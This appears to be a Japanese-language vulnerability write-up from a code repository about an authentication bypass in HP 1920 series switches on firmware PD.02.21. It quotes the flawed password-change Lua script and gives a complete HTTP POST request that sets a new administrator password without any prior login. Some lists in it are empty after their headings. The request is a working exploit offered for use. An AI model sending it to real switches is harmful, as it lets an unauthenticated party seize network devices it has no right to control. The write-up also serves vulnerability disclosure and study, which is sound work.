
ファームウェアバージョン: PD.02.21
影響を受けるデバイス: HP 1920シリーズスマートマネージドスイッチ
このリポジトリは、ファームウェアバージョンPD.02.21を実行するHP 1920シリーズスマートマネージドスイッチにおける重大な認証バイパス脆弱性を文書化しています。この脆弱性により、認証されていない攻撃者が事前認証なしに管理者パスワードを変更でき、実質的にデバイスを完全に乗っ取ることが可能になります。
この脆弱性は、デバイスのデフォルトパスワードの変更を処理する/login/default_password_cfg.luaスクリプトに存在します。このスクリプトは:
oldPwdパラメータがデフォルトパスワード(空/ブランク)と一致することのみを検証しますdefault_password_cfg.lua内の主要な脆弱性のある箇所:
if (request_method == 'POST') then
-- No authentication or session checks!
local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
-- ...
if form_post.oldPwd ~= defaultPassword then
errorStatus = "401 Unauthorized"
errorText = label.old_password_mismatch
else
-- Proceeds to change password
-- ...
end
end
このスクリプトには、重要なセキュリティ制御が欠けています:
攻撃者は、単純なHTTP POSTリクエストを使用してこの脆弱性を悪用できます:
POST /login/default_password_cfg.lua HTTP/1.1
Host: [target-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
username=admin&oldPwd=&newPwd=[new-password]&confirmPwd=[new-password]
注:デフォルトパスワードがブランクであるため、oldPwdパラメータは空のままです。
この脆弱性により、認証されていない攻撃者は以下が可能になります:
この脆弱性を最初に発見した人物を調査する時間がなかったので、単に概念実証(PoC)を公開しているだけです。
この情報は教育目的のみで提供されています。著者は、この情報の誤用について一切責任を負いません。脆弱性をテストする前に、必ず適切な許可を取得してください。